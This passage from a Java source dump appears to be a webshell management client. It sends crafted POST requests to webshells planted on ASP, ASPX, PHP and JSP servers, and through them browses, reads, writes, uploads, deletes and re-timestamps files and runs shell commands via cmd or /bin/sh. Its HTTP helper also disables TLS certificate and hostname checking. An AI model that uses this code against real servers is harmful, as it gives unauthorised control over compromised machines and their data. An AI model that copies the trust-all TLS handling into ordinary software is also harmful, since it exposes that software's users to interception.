| int l = 0; 194 | l = this.makeParam2(data).length(); 195 | if(l>20000) 196 | { 197 | int z3 = 0; 198 | int m = 0; 199 | for(m = 0 ;ml) 203 | { 204 | System.out.println("end"); 205 | k = this.makeParam2(data).substring(m,l); 206 | }else 207 | { 208 | k = this.makeParam2(data).substring(m,m+20000); 209 | } 210 | z3 = m; 211 | params = "z3="+z3+"&"+Safe.PASS+"="+Safe.ASP_MAKE.replace("PAYLOAD", Safe.ASP_UPLOAD)+"&"+Safe.PARAM1+"="+toHexString(path)+"&"+Safe.PARAM2+"="+k; 212 | Common.send(this.url, params, this.code); 213 | 214 | } 215 | 216 | }else 217 | { 218 | params = "z3=0&"+Safe.PASS+"="+Safe.ASP_MAKE.replace("PAYLOAD", Safe.ASP_UPLOAD)+"&"+Safe.PARAM1+"="+toHexString(path)+"&"+Safe.PARAM2+"="+this.makeParam2(data); 219 | Common.send(this.url, params, this.code); 220 | } 221 | params = Safe.PASS+"="+Safe.ASP_MAKE.replace("PAYLOAD", Safe.ASP_INDEX); 222 | break; 223 | } 224 | break; 225 | case "ASPX(Eval)": 226 | switch (action) { 227 | case "readindex": 228 | params = Safe.PASS+"="+Safe.ASPX_INDEX+"&"+Safe.PARAM1+"="+this.makeParam2(path); 229 | break; 230 | case "readdict": 231 | params = Safe.PASS+"="+Safe.ASPX_READDICT+"&"+Safe.PARAM1+"="+this.makeParam2(path); 232 | break; 233 | case "readfile": 234 | params = Safe.PASS+"="+Safe.ASPX_READFILE+"&"+Safe.PARAM1+"="+this.makeParam2(path); 235 | break; 236 | case "savefile": 237 | params = Safe.PASS+"="+Safe.ASPX_SAVEFILE+"&"+Safe.PARAM1+"="+this.makeParam2(path)+"&"+Safe.PARAM2+"="+toHexString(data); 238 | break; 239 | case "addfile": 240 | params = Safe.PASS+"="+Safe.ASPX_SAVEFILE+"&"+Safe.PARAM1+"="+this.makeParam2(path)+"&"+Safe.PARAM2+"="+toHexString(data); 241 | break; 242 | case "newdict": 243 | params = Safe.PASS+"="+Safe.ASPX_NEWDICT+"&"+Safe.PARAM1+"="+this.makeParam1(path); 244 | break; 245 | case "delete": 246 | String param2=null; 247 | try { 248 | param2 = URLEncoder.encode(path, this.code); 249 | } catch (UnsupportedEncodingException e) { 250 | // TODO Auto-generated catch block 251 | e.printStackTrace(); 252 | } 253 | params = Safe.PASS+"="+Safe.ASPX_DELETE+"&"+Safe.PARAM1+"="+param2; 254 | break; 255 | case "rename": 256 | params = Safe.PASS+"="+Safe.ASPX_RENAME+"&"+Safe.PARAM1+"="+this.makeParam1(path)+"&"+Safe.PARAM2+"="+this.makeParam1(data); 257 | break; 258 | case "retime": 259 | params = Safe.PASS+"="+Safe.ASPX_RETIME+"&"+Safe.PARAM1+"="+this.makeParam1(path)+"&"+Safe.PARAM2+"="+this.makeParam1(data); 260 | break; 261 | case "upload": 262 | String param3=null; 263 | BASE64Encoder encode_aspx = new BASE64Encoder(); 264 | try { 265 | //文件内容解码是utf-8,发送请求只能是gb2312 才不乱码, 问题标注============ 266 | param3 = encode_aspx.encode(path.getBytes(this.code)); 267 | param3 = URLEncoder.encode(param3); 268 | } catch (Exception e) { 269 | // TODO Auto-generated catch block 270 | e.printStackTrace(); 271 | } 272 | String k = data; 273 | int aspx_l = k.length(); 274 | String start = "1"; 275 | if(k.length()>40000) 276 | { 277 | int z3 = 0; 278 | int m = 0; 279 | for(m = 0 ;maspx_l) 283 | { 284 | System.out.println("end"); 285 | k1 = k.substring(m,aspx_l); 286 | }else 287 | { 288 | k1 = k.substring(m,m+40000); 289 | } 290 | z3 = m; 291 | params = Safe.PASS+"="+Safe.ASPX_UPLOAD+"&"+Safe.PARAM1+"="+param3+"&"+Safe.PARAM2+"="+k1+"&z3="+start; 292 | //System.out.println("m="+m+"z="+start); 293 | start = "0"; 294 | Common.send(this.url, params, this.code); 295 | 296 | } 297 | 298 | }else 299 | { 300 | params = Safe.PASS+"="+Safe.ASPX_UPLOAD+"&"+Safe.PARAM1+"="+param3+"&"+Safe.PARAM2+"="+data+"&z3="+start; 301 | start="0"; 302 | System.out.println(params); 303 | Common.send(this.url, params, this.code); 304 | } 305 | break; 306 | } 307 | // System.out.println(params); 308 | break; 309 | case "PHP(Eval)": 310 | switch (action) { 311 | case "readindex": 312 | params = Common.makeParams(Safe.PHP_MAKE, Safe.PHP_INDEX); 313 | break; 314 | case "readdict": 315 | params = Common.makeParams(Safe.PHP_MAKE, Safe.PHP_READDICT, 316 | this.makeParam1(path)); 317 | break; 318 | case "readfile": 319 | params = Common.makeParams(Safe.PHP_MAKE, Safe.PHP_READFILE, 320 | this.makeParam1(path)); 321 | break; 322 | case "savefile": 323 | params = Common.makeParams(Safe.PHP_MAKE, Safe.PHP_SAVEFILE, 324 | this.makeParam1(path), this.makeParam2(data)); 325 | break; 326 | case "delete": 327 | params = Common.makeParams(Safe.PHP_MAKE, Safe.PHP_DELETE, 328 | this.makeParam1(path)); 329 | break; 330 | case "rename": 331 | params = Common.makeParams(Safe.PHP_MAKE, Safe.PHP_RENAME, 332 | this.makeParam1(path), this.makeParam2(data)); 333 | break; 334 | case "retime": 335 | params = Common.makeParams(Safe.PHP_MAKE, Safe.PHP_RETIME, 336 | this.makeParam1(path), this.makeParam2(data)); 337 | break; 338 | case "newdict": 339 | params = Common.makeParams(Safe.PHP_MAKE, Safe.PHP_NEWDICT, 340 | this.makeParam1(path)); 341 | break; 342 | case "upload": 343 | this.action = "upload"; // php上传文件时z2为url去掉编码去掉%即不用base64加密,其他情况z2为base64加密 344 | params = Common.makeParams(Safe.PHP_MAKE, Safe.PHP_UPLOAD, 345 | this.makeParam1(path), this.makeParam2(data)); 346 | break; 347 | } 348 | break; 349 | case "JSP(Eval)": 350 | switch (action) { 351 | case "readindex": 352 | params = Common.makeParams(Safe.JSP_MAKE, Safe.JSP_INDEX)+"&"+Safe.CODE+"="+this.code; 353 | break; 354 | case "readdict": 355 | params = Common.makeParams(Safe.JSP_MAKE, Safe.JSP_READDICT,this.makeParam1(path))+"&"+Safe.CODE+"="+this.code; 356 | break; 357 | case "readfile": 358 | params = Common.makeParams(Safe.JSP_MAKE, Safe.JSP_READFILE,this.makeParam1(path))+"&"+Safe.CODE+"="+this.code; 359 | break; 360 | case "savefile": 361 | params = Common.makeParams(Safe.JSP_MAKE, Safe.JSP_SAVEFILE,this.makeParam1(path),this.makeParam2(data))+"&"+Safe.CODE+"="+this.code; 362 | break; 363 | case "delete": 364 | params = Common.makeParams(Safe.JSP_MAKE, Safe.JSP_DELETE,this.makeParam1(path))+"&"+Safe.CODE+"="+this.code; 365 | break; 366 | case "rename": 367 | params = Common.makeParams(Safe.JSP_MAKE, Safe.JSP_RENAME,this.makeParam1(path),this.makeParam2(data))+"&"+Safe.CODE+"="+this.code; 368 | break; 369 | case "retime": 370 | params = Common.makeParams(Safe.JSP_MAKE, Safe.JSP_RETIME,this.makeParam1(path),this.makeParam2(data))+"&"+Safe.CODE+"="+this.code; 371 | break; 372 | case "newdict": 373 | params = Common.makeParams(Safe.JSP_MAKE, Safe.JSP_NEWDICT,this.makeParam1(path))+"&"+Safe.CODE+"="+this.code; 374 | break; 375 | case "upload": 376 | params = Common.makeParams(Safe.JSP_MAKE, Safe.JSP_UPLOAD,this.makeParam1(path),this.makeParam2(data))+"&"+Safe.CODE+"="+this.code; 377 | break; 378 | 379 | } 380 | break; 381 | case "Customize": 382 | switch (action) { 383 | case "readindex": 384 | params = Common.makeParams(Safe.CUS_MAKE, Safe.CUS_INDEX); 385 | break; 386 | case "readdict": 387 | params = Common.makeParams(Safe.CUS_MAKE, Safe.CUS_READDICT,this.makeParam1(path)); 388 | break; 389 | case "readfile": 390 | params = Common.makeParams(Safe.CUS_MAKE, Safe.CUS_READFILE,this.makeParam1(path)); 391 | break; 392 | case "savefile": 393 | params = Common.makeParams(Safe.CUS_MAKE, Safe.CUS_SAVEFILE,this.makeParam1(path),this.makeParam2(data)); 394 | break; 395 | case "delete": 396 | params = Common.makeParams(Safe.CUS_MAKE, Safe.CUS_DELETE,this.makeParam1(path)); 397 | break; 398 | case "rename": 399 | params = Common.makeParams(Safe.CUS_MAKE, Safe.CUS_RENAME,this.makeParam1(path),this.makeParam2(data)); 400 | break; 401 | case "retime": 402 | params = Common.makeParams(Safe.CUS_MAKE, Safe.CUS_RETIME,this.makeParam1(path),this.makeParam2(data)); 403 | break; 404 | case "newdict": 405 | params = Common.makeParams(Safe.CUS_MAKE, Safe.CUS_NEWDICT,this.makeParam1(path)); 406 | break; 407 | case "upload": 408 | params = Common.makeParams(Safe.CUS_MAKE, Safe.CUS_UPLOAD,this.makeParam1(path),this.makeParam2(data)); 409 | break; 410 | } 411 | break; 412 | } 413 | 414 | return Common.send(this.url, params, this.code); 415 | } 416 | 417 | public String[] makeleft(String path) { 418 | String[] filedicts = null; 419 | try { 420 | filedicts = this.doAction("readdict", path).split("\n"); 421 | ArrayList al = new ArrayList(); 422 | for (String tmp : filedicts) { 423 | String s = tmp.split("\t")[0]; 424 | if (s.charAt(s.length() - 1) == '/') { 425 | String noslash = s.substring(0, s.length() - 1); 426 | if (!noslash.equals(".") && !noslash.equals("..")) { 427 | al.add(noslash); 428 | } 429 | } 430 | } 431 | String[] left = al.toArray(new String[] {}); 432 | return left; 433 | } catch (Exception e) { 434 | return filedicts = new String[]{}; 435 | } 436 | 437 | } 438 | 439 | public String[] makeright(String path) { 440 | String tmp = this.doAction("readdict", path); 441 | if(tmp.equals("")) 442 | { 443 | tmp = "./ 1970-00-00 00:00:00 0 0\n../ 1970-00-00 00:00:00 0 0";//初始化 444 | } 445 | String[] filedicts = tmp.split("\n"); 446 | return filedicts; 447 | } 448 | 449 | // 16进制 转换 450 | private String toHexString(String s) { 451 | String str = ""; 452 | try { 453 | byte[] b = s.getBytes(code); 454 | // String k = new String(b,"GBK"); 455 | // byte[] b = k.getBytes(); 456 | // String str = " "; 457 | for (int i = 0; i < b.length; i++) { 458 | Integer I = new Integer(b[i]); 459 | String strTmp = I.toHexString(b[i]); 460 | // System.out.println(strTmp.length()); 461 | if (strTmp.length() > 2) 462 | strTmp = strTmp.substring(strTmp.length() - 2); 463 | str = str + strTmp; 464 | } 465 | // System.out.println(str.toUpperCase()); 466 | } catch (Exception e) { 467 | e.printStackTrace(); 468 | } 469 | return str; 470 | } 471 | } 472 | -------------------------------------------------------------------------------- /src/com/ms509/util/GBC.java: -------------------------------------------------------------------------------- 1 | package com.ms509.util; 2 | 3 | import java.awt.GridBagConstraints; 4 | import java.awt.Insets; 5 | 6 | public class GBC extends GridBagConstraints 7 | { 8 | public GBC(int gridx,int gridy) 9 | { 10 | this.gridx = gridx; 11 | this.gridy = gridy; 12 | } 13 | public GBC(int gridx,int gridy,int gridwidth,int gridheight) 14 | { 15 | this.gridx = gridx; 16 | this.gridy = gridy; 17 | this.gridwidth = gridwidth; 18 | this.gridheight = gridheight; 19 | } 20 | public GBC setFill(int fill) 21 | { 22 | this.fill = fill; 23 | return this; 24 | } 25 | public GBC setWeight(double weightx,double weighty) 26 | { 27 | this.weightx = weightx; 28 | this.weighty = weighty; 29 | return this; 30 | } 31 | public GBC setAnchor(int anchor) 32 | { 33 | this.anchor = anchor; 34 | return this; 35 | } 36 | public GBC setInsets(int top, int left, int bottom, int right) 37 | { 38 | this.insets = new Insets(top, left, bottom, right); 39 | return this; 40 | } 41 | public GBC setIpad(int ipadx,int ipady) 42 | { 43 | this.ipadx = ipadx; 44 | this.ipady = ipady; 45 | return this; 46 | } 47 | } -------------------------------------------------------------------------------- /src/com/ms509/util/NodeData.java: -------------------------------------------------------------------------------- 1 | package com.ms509.util; 2 | 3 | public class NodeData 4 | { 5 | public int nodetype; 6 | public String nodedata; 7 | public NodeData(int nodetype,String nodedata) 8 | { 9 | this.nodetype = nodetype; 10 | this.nodedata = nodedata; 11 | } 12 | public String toString() { 13 | return this.nodedata; 14 | } 15 | public class DataType 16 | { 17 | public final static int DATABASE = 1; 18 | public final static int TABLE = 2; 19 | public final static int COLUMN = 3; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /src/com/ms509/util/Request.java: -------------------------------------------------------------------------------- 1 | package com.ms509.util; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.InputStream; 5 | import java.io.PrintWriter; 6 | import java.net.Authenticator; 7 | import java.net.HttpURLConnection; 8 | import java.net.InetAddress; 9 | import java.net.Proxy; 10 | import java.net.Socket; 11 | import java.net.URL; 12 | import java.net.URLConnection; 13 | import java.security.SecureRandom; 14 | import java.security.cert.CertificateException; 15 | import java.security.cert.X509Certificate; 16 | import java.util.HashMap; 17 | import java.util.List; 18 | import java.util.Map; 19 | import java.util.Scanner; 20 | import java.util.Set; 21 | 22 | import javax.net.ssl.HostnameVerifier; 23 | import javax.net.ssl.HttpsURLConnection; 24 | import javax.net.ssl.SSLContext; 25 | import javax.net.ssl.SSLSession; 26 | import javax.net.ssl.SSLSocketFactory; 27 | import javax.net.ssl.TrustManager; 28 | import javax.net.ssl.X509TrustManager; 29 | 30 | import sun.net.www.protocol.http.AuthCacheImpl; 31 | import sun.net.www.protocol.http.AuthCacheValue; 32 | 33 | public class Request { 34 | public static String doPost(String url, String param, String code) { 35 | String data = ""; 36 | HttpURLConnection huc; 37 | try { 38 | URL u = new URL(url); 39 | if (isHttps(url)) { 40 | TrustManager[] tm = { new MyX509TrustManager() }; 41 | SSLContext sslContext = SSLContext.getInstance("SSL"); // 可以是TLS、TLSV1、TLSV1.1、TLSV1.2、SSL、SSLV3 42 | sslContext.init(null, tm, new SecureRandom()); 43 | SSLSocketFactory sf = sslContext.getSocketFactory(); 44 | if (Safe.PROXY_STATUS.equals("1")) { 45 | Proxy proxy = new Proxy(Common.ProxyType(), 46 | Common.ProxySocketAddress()); 47 | AuthCacheValue.setAuthCache(new AuthCacheImpl()); 48 | Authenticator.setDefault(new BasicAuthenticator( 49 | Safe.PROXY_USER, Safe.PROXY_PASS)); 50 | huc = (HttpsURLConnection) u.openConnection(proxy); 51 | } else { 52 | huc = (HttpsURLConnection) u.openConnection(); 53 | } 54 | ((HttpsURLConnection) huc).setSSLSocketFactory(sf); 55 | ((HttpsURLConnection) huc) 56 | .setHostnameVerifier(new MyHostnameVerifier()); 57 | } else { 58 | if (Safe.PROXY_STATUS.equals("1")) { 59 | Proxy proxy = new Proxy(Common.ProxyType(), 60 | Common.ProxySocketAddress()); 61 | AuthCacheValue.setAuthCache(new AuthCacheImpl()); 62 | Authenticator.setDefault(new BasicAuthenticator( 63 | Safe.PROXY_USER, Safe.PROXY_PASS)); 64 | huc = (HttpURLConnection) u.openConnection(proxy); 65 | } else { 66 | huc = (HttpURLConnection) u.openConnection(); 67 | } 68 | } 69 | if (Safe.REQUEST_STATUS.equals("1")) { 70 | Common.RequestHeader(huc); 71 | } 72 | huc.setConnectTimeout(10000); 73 | huc.setReadTimeout(10000); 74 | huc.setDoOutput(true); 75 | PrintWriter out = new PrintWriter(huc.getOutputStream()); 76 | out.write(param); 77 | out.flush(); 78 | out.close(); 79 | boolean normal = (huc.getResponseCode() == 200); 80 | InputStream is = normal ? huc.getInputStream() : huc 81 | .getErrorStream(); 82 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 83 | int len = -1; 84 | byte[] b = new byte[1024]; 85 | while ((len = is.read(b)) != -1) { 86 | baos.write(b, 0, len); 87 | } 88 | data = new String(baos.toByteArray(), code); 89 | Map map = huc.getHeaderFields(); 90 | Set set = map.entrySet(); 91 | String head = ""; 92 | for (Map.Entry entry : set) { 93 | List list = (List) entry.getValue(); 94 | if (entry.getKey() == null) { 95 | for (String str : list) { 96 | head += str + System.lineSeparator(); 97 | } 98 | } else { 99 | for (String str : list) { 100 | head += entry.getKey() + ": " + str 101 | + System.lineSeparator(); 102 | } 103 | } 104 | } 105 | data = head + System.lineSeparator() + data; 106 | } catch (Exception e) { 107 | data = e.getMessage(); 108 | } 109 | return data; 110 | } 111 | 112 | public static byte[] doPost(String url, String param) { 113 | ByteArrayOutputStream baos = null; 114 | HttpURLConnection huc; 115 | try { 116 | URL u = new URL(url); 117 | if (isHttps(url)) { 118 | TrustManager[] tm = { new MyX509TrustManager() }; 119 | SSLContext sslContext = SSLContext.getInstance("SSL"); // 可以是TLS、TLSV1、TLSV1.1、TLSV1.2、SSL、SSLV3 120 | sslContext.init(null, tm, new SecureRandom()); 121 | SSLSocketFactory sf = sslContext.getSocketFactory(); 122 | if (Safe.PROXY_STATUS.equals("1")) { 123 | Proxy proxy = new Proxy(Common.ProxyType(), 124 | Common.ProxySocketAddress()); 125 | AuthCacheValue.setAuthCache(new AuthCacheImpl()); 126 | Authenticator.setDefault(new BasicAuthenticator( 127 | Safe.PROXY_USER, Safe.PROXY_PASS)); 128 | huc = (HttpsURLConnection) u.openConnection(proxy); 129 | } else { 130 | huc = (HttpsURLConnection) u.openConnection(); 131 | } 132 | ((HttpsURLConnection) huc).setSSLSocketFactory(sf); 133 | ((HttpsURLConnection) huc) 134 | .setHostnameVerifier(new MyHostnameVerifier()); 135 | } else { 136 | if (Safe.PROXY_STATUS.equals("1")) { 137 | Proxy proxy = new Proxy(Common.ProxyType(), 138 | Common.ProxySocketAddress()); 139 | AuthCacheValue.setAuthCache(new AuthCacheImpl()); 140 | Authenticator.setDefault(new BasicAuthenticator( 141 | Safe.PROXY_USER, Safe.PROXY_PASS)); 142 | huc = (HttpURLConnection) u.openConnection(proxy); 143 | } else { 144 | huc = (HttpURLConnection) u.openConnection(); 145 | } 146 | } 147 | if (Safe.REQUEST_STATUS.equals("1")) { 148 | Common.RequestHeader(huc); 149 | } 150 | huc.setConnectTimeout(10000); 151 | huc.setReadTimeout(10000); 152 | huc.setDoOutput(true); 153 | PrintWriter out = new PrintWriter(huc.getOutputStream()); 154 | out.write(param); 155 | out.flush(); 156 | out.close(); 157 | InputStream is = huc.getInputStream(); 158 | baos = new ByteArrayOutputStream(); 159 | int len = -1; 160 | byte[] b = new byte[1024]; 161 | while ((len = is.read(b)) != -1) { 162 | baos.write(b, 0, len); 163 | } 164 | } catch (Exception e) { 165 | } 166 | return baos.toByteArray(); 167 | } 168 | 169 | public static boolean isHttps(String url) { 170 | String sub = url.substring(0, 5); 171 | if (sub.equalsIgnoreCase("https")) { 172 | return true; 173 | } else { 174 | return false; 175 | } 176 | } 177 | 178 | public static String doGet(String url, HashMap advance) { 179 | String data = ""; 180 | HttpURLConnection huc; 181 | try { 182 | URL u = new URL(url); 183 | if (isHttps(url)) { 184 | TrustManager[] tm = { new MyX509TrustManager() }; 185 | SSLContext sslContext = SSLContext.getInstance("SSL"); // 可以是TLS、TLSV1、TLSV1.1、TLSV1.2、SSL、SSLV3 186 | sslContext.init(null, tm, new SecureRandom()); 187 | SSLSocketFactory sf = sslContext.getSocketFactory(); 188 | huc = (HttpsURLConnection) u.openConnection(); 189 | ((HttpsURLConnection) huc).setSSLSocketFactory(sf); 190 | ((HttpsURLConnection) huc) 191 | .setHostnameVerifier(new MyHostnameVerifier()); 192 | } else { 193 | huc = (HttpURLConnection) u.openConnection(); 194 | } 195 | if (advance != null) { 196 | Set> headers = advance.entrySet(); 197 | for (Map.Entry header : headers) { 198 | huc.setRequestProperty(header.getKey(), header.getValue()); 199 | } 200 | } 201 | boolean normal = (huc.getResponseCode() == 200); 202 | InputStream is = normal ? huc.getInputStream() : huc 203 | .getErrorStream(); 204 | Scanner scanner = new Scanner(is); 205 | while (scanner.hasNextLine()) { 206 | data += scanner.nextLine() + "\r\n"; 207 | } 208 | } catch (Exception e) { 209 | data = "error"; 210 | } 211 | return data; 212 | } 213 | 214 | public static String doPost(String url, String param, 215 | HashMap advance) { 216 | String data = ""; 217 | HttpURLConnection huc; 218 | try { 219 | URL u = new URL(url); 220 | if (isHttps(url)) { 221 | TrustManager[] tm = { new MyX509TrustManager() }; 222 | SSLContext sslContext = SSLContext.getInstance("SSL"); 223 | sslContext.init(null, tm, new SecureRandom()); 224 | SSLSocketFactory sf = sslContext.getSocketFactory(); 225 | huc = (HttpsURLConnection) u.openConnection(); 226 | ((HttpsURLConnection) huc).setSSLSocketFactory(sf); 227 | ((HttpsURLConnection) huc) 228 | .setHostnameVerifier(new MyHostnameVerifier()); 229 | } else { 230 | huc = (HttpURLConnection) u.openConnection(); 231 | } 232 | if (advance != null) { 233 | Set> headers = advance.entrySet(); 234 | for (Map.Entry header : headers) { 235 | huc.setRequestProperty(header.getKey(), header.getValue()); 236 | } 237 | } 238 | huc.setDoOutput(true); 239 | PrintWriter out = new PrintWriter(huc.getOutputStream()); 240 | out.write(param); 241 | out.flush(); 242 | out.close(); 243 | boolean normal = (huc.getResponseCode() == 200); 244 | InputStream is = normal ? huc.getInputStream() : huc 245 | .getErrorStream(); 246 | Scanner scanner = new Scanner(is); 247 | while (scanner.hasNextLine()) { 248 | data += scanner.nextLine() + "\r\n"; 249 | } 250 | } catch (Exception e) { 251 | data = "error"; 252 | } 253 | return data; 254 | } 255 | 256 | public static String getResponse(String url, String data, 257 | HashMap advance) { 258 | Map> header = null; 259 | Map headers = new HashMap<>(); 260 | HttpURLConnection huc; 261 | try { 262 | URL u = new URL(url); 263 | if (isHttps(url)) { 264 | TrustManager[] tm = { new MyX509TrustManager() }; 265 | SSLContext sslContext = SSLContext.getInstance("SSL"); 266 | sslContext.init(null, tm, new SecureRandom()); 267 | SSLSocketFactory sf = sslContext.getSocketFactory(); 268 | huc = (HttpsURLConnection) u.openConnection(); 269 | ((HttpsURLConnection) huc).setSSLSocketFactory(sf); 270 | ((HttpsURLConnection) huc) 271 | .setHostnameVerifier(new MyHostnameVerifier()); 272 | } else { 273 | huc = (HttpURLConnection) u.openConnection(); 274 | } 275 | if (advance != null) { 276 | Set> rheaders = advance.entrySet(); 277 | for (Map.Entry rheader : rheaders) { 278 | huc.setRequestProperty(rheader.getKey(), rheader.getValue()); 279 | } 280 | } 281 | header = huc.getHeaderFields(); 282 | for (Map.Entry> entry : header.entrySet()) { 283 | String key = entry.getKey(); 284 | if (key == null) { 285 | key = "Code"; 286 | } 287 | for (String value : entry.getValue()) { 288 | headers.put(key, value); 289 | } 290 | } 291 | } catch (Exception e) { 292 | data = "error"; 293 | } 294 | return headers.get(data); 295 | } 296 | 297 | public static String doSocket(String host, int port, String path, 298 | boolean isHttps) { 299 | try { 300 | Socket s; 301 | String ip = InetAddress.getByName(host).getHostAddress(); 302 | if (isHttps) { 303 | TrustManager[] tm = { new MyX509TrustManager() }; 304 | SSLContext sslContext = SSLContext.getInstance("SSL"); 305 | sslContext.init(null, tm, new SecureRandom()); 306 | SSLSocketFactory factory = sslContext.getSocketFactory(); 307 | s = factory.createSocket(ip, port); 308 | } else { 309 | s = new Socket(ip, port); 310 | } 311 | s.setSoTimeout(1000 * 5); 312 | PrintWriter out = new PrintWriter(s.getOutputStream()); 313 | StringBuffer sb = new StringBuffer(); 314 | sb.append("GET " + path + " HTTP/1.1\r\n"); 315 | sb.append("Host: " + host + "\r\n"); 316 | // 必须加上Connection: close。 317 | // 不然在读取完内容后会阻塞一段时间,因为还在等待输出流,如果不加上默认为keep-alive 318 | sb.append("Connection: close" + "\r\n\r\n"); 319 | out.write(sb.toString()); 320 | out.flush(); 321 | InputStream in = s.getInputStream(); 322 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 323 | int len = -1; 324 | byte[] b = new byte[1024]; 325 | while ((len = in.read(b)) != -1) { 326 | baos.write(b, 0, len); 327 | } 328 | return baos.toString(); 329 | } catch (Exception e) { 330 | return "error"; 331 | } 332 | } 333 | } 334 | 335 | class MyHostnameVerifier implements HostnameVerifier { 336 | 337 | public boolean verify(String hostname, SSLSession session) { 338 | return true; 339 | } 340 | } 341 | 342 | class MyX509TrustManager implements X509TrustManager { 343 | 344 | public void checkClientTrusted(X509Certificate[] chain, String authType) 345 | throws CertificateException { 346 | } 347 | 348 | public void checkServerTrusted(X509Certificate[] chain, String authType) 349 | throws CertificateException { 350 | } 351 | 352 | public X509Certificate[] getAcceptedIssuers() { 353 | return null; 354 | } 355 | } -------------------------------------------------------------------------------- /src/com/ms509/util/Safe.java: -------------------------------------------------------------------------------- 1 | package com.ms509.util; 2 | 3 | public final class Safe { 4 | public static String SPL; 5 | public static String SPR; 6 | public static String CODE; 7 | public static String ACTION; 8 | public static String PARAM1; 9 | public static String PARAM2; 10 | public static String PARAM3; 11 | 12 | public static String ASP_BASE64; 13 | public static String ASP_MAKE; 14 | public static String ASP_PAYLOAD; 15 | public static String ASP_INDEX; 16 | public static String ASP_READDICT; 17 | public static String ASP_READFILE; 18 | public static String ASP_SAVEFILE; 19 | public static String ASP_DELETE; 20 | public static String ASP_RENAME; 21 | public static String ASP_RETIME; 22 | public static String ASP_NEWDICT; 23 | public static String ASP_UPLOAD; 24 | public static String ASP_DOWNLOAD; 25 | public static String ASP_SHELL; 26 | //test asp mdb 尚未合并 27 | public static String ASP_DB_MDB; 28 | public static String ASP_DB_MSSQL; 29 | public static String ASP_DB_MYSQL; 30 | 31 | 32 | public static String ASPX_BASE64; 33 | public static String ASPX_MAKE; 34 | public static String ASPX_INDEX; 35 | public static String ASPX_READDICT; 36 | public static String ASPX_READFILE; 37 | public static String ASPX_SAVEFILE; 38 | public static String ASPX_DELETE; 39 | public static String ASPX_RENAME; 40 | public static String ASPX_RETIME; 41 | public static String ASPX_NEWDICT; 42 | public static String ASPX_UPLOAD; 43 | public static String ASPX_DOWNLOAD; 44 | public static String ASPX_SHELL; 45 | public static String ASPX_DB_MSSQL; 46 | public static String ASPX_DB_MYSQL; 47 | public static String ASPX_DB_MDB; 48 | 49 | public static String PHP_BASE64; 50 | public static String PHP_MAKE; 51 | public static String PHP_INDEX; 52 | public static String PHP_READDICT; 53 | public static String PHP_READFILE; 54 | public static String PHP_SAVEFILE; 55 | public static String PHP_DELETE; 56 | public static String PHP_RENAME; 57 | public static String PHP_RETIME; 58 | public static String PHP_NEWDICT; 59 | public static String PHP_UPLOAD; 60 | public static String PHP_DOWNLOAD; 61 | public static String PHP_SHELL; 62 | public static String PHP_DB_MYSQL; 63 | 64 | public static String JSP_BASE64; 65 | public static String JSP_MAKE; 66 | public static String JSP_INDEX; 67 | public static String JSP_READDICT; 68 | public static String JSP_READFILE; 69 | public static String JSP_SAVEFILE; 70 | public static String JSP_DELETE; 71 | public static String JSP_RENAME; 72 | public static String JSP_RETIME; 73 | public static String JSP_NEWDICT; 74 | public static String JSP_UPLOAD; 75 | public static String JSP_DOWNLOAD; 76 | public static String JSP_SHELL; 77 | public static String JSP_DB_MYSQL; 78 | public static String JSP_DB_MSSQL; 79 | public static String JSP_DB_ORACLE; 80 | 81 | public static String CUS_BASE64; 82 | public static String CUS_MAKE; 83 | public static String CUS_INDEX; 84 | public static String CUS_READDICT; 85 | public static String CUS_READFILE; 86 | public static String CUS_SAVEFILE; 87 | public static String CUS_DELETE; 88 | public static String CUS_RENAME; 89 | public static String CUS_RETIME; 90 | public static String CUS_NEWDICT; 91 | public static String CUS_UPLOAD; 92 | public static String CUS_DOWNLOAD; 93 | public static String CUS_SHELL; 94 | public static String CUS_SHELL_SPL; 95 | public static String CUS_SHELL_SPR; 96 | 97 | public static String COMMON_SQL_STRING; 98 | 99 | public static String PASS; 100 | public static String SYSTEMSP; 101 | 102 | public static String PROXY_HOST; 103 | public static String PROXY_PORT; 104 | public static String PROXY_USER; 105 | public static String PROXY_PASS; 106 | public static String PROXY_TYPE; 107 | public static String PROXY_STATUS; 108 | 109 | public static String REQUEST_STATUS; 110 | public static String REQUEST_DATA; 111 | } 112 | -------------------------------------------------------------------------------- /src/com/ms509/util/Shell.java: -------------------------------------------------------------------------------- 1 | package com.ms509.util; 2 | 3 | import java.awt.Color; 4 | import java.io.UnsupportedEncodingException; 5 | import java.net.URLEncoder; 6 | import java.util.Arrays; 7 | 8 | import javax.swing.text.BadLocationException; 9 | import javax.swing.text.SimpleAttributeSet; 10 | import javax.swing.text.StyleConstants; 11 | 12 | import sun.misc.BASE64Encoder; 13 | 14 | public class Shell { 15 | // asp 命令执行 16 | private static String result[] = new String[2]; 17 | private String pa = ""; 18 | private String command = ""; 19 | private int os = 0; 20 | private String code = ""; 21 | private int type = 0; 22 | private String url = ""; 23 | private String z1 = null; //cmd 路径 24 | private String z2 = null; //cmd 命令 25 | private String cus_z1 = "";//自定义cmd路径 26 | public Shell(int os, String url, String code, int type) { 27 | // TODO Auto-generated constructor stub 28 | this.url = url; 29 | this.os = os; 30 | // Safe.PASS = pass; //初始化密码 31 | this.code = code; 32 | this.type = type; 33 | } 34 | 35 | // set path 36 | public void SetPath(String path) { 37 | this.pa = path; 38 | } 39 | 40 | // 命令执行方法 41 | public String[] execute(String command) { 42 | String path_bak = pa; 43 | try { 44 | switch (type) { 45 | case 0: 46 | result = execute_jsp(command); 47 | break; 48 | case 1: 49 | result = execute_php(command); 50 | break; 51 | case 2: 52 | result = execute_asp(command); 53 | break; 54 | case 3: 55 | result = execute_aspx(command); 56 | break; 57 | case 4: 58 | result = execute_cus(command); 59 | break; 60 | } 61 | } catch (Exception e) { 62 | pa = path_bak; 63 | e.printStackTrace(); 64 | result[0] = pa; 65 | result[1] = ""; 66 | } 67 | 68 | return result; 69 | } 70 | 71 | // asp 命令执行 72 | private String[] execute_asp(String command) { 73 | 74 | String re[] = new String[2]; 75 | 76 | 77 | switch (os) { 78 | 79 | case 1: 80 | z1 = "cmd"; 81 | z2 = "cd" + " " + "/d" + " \"" + pa + "\"&" + command + "&echo [S]&cd&echo [E]"; 82 | break; 83 | case 2: 84 | z1 = "/bin/sh"; 85 | z2 = "cd" + " " + "\"" + pa + "\";" + command + ";echo [S];pwd;echo [E]"; 86 | break; 87 | default: 88 | break; 89 | } 90 | z1 = 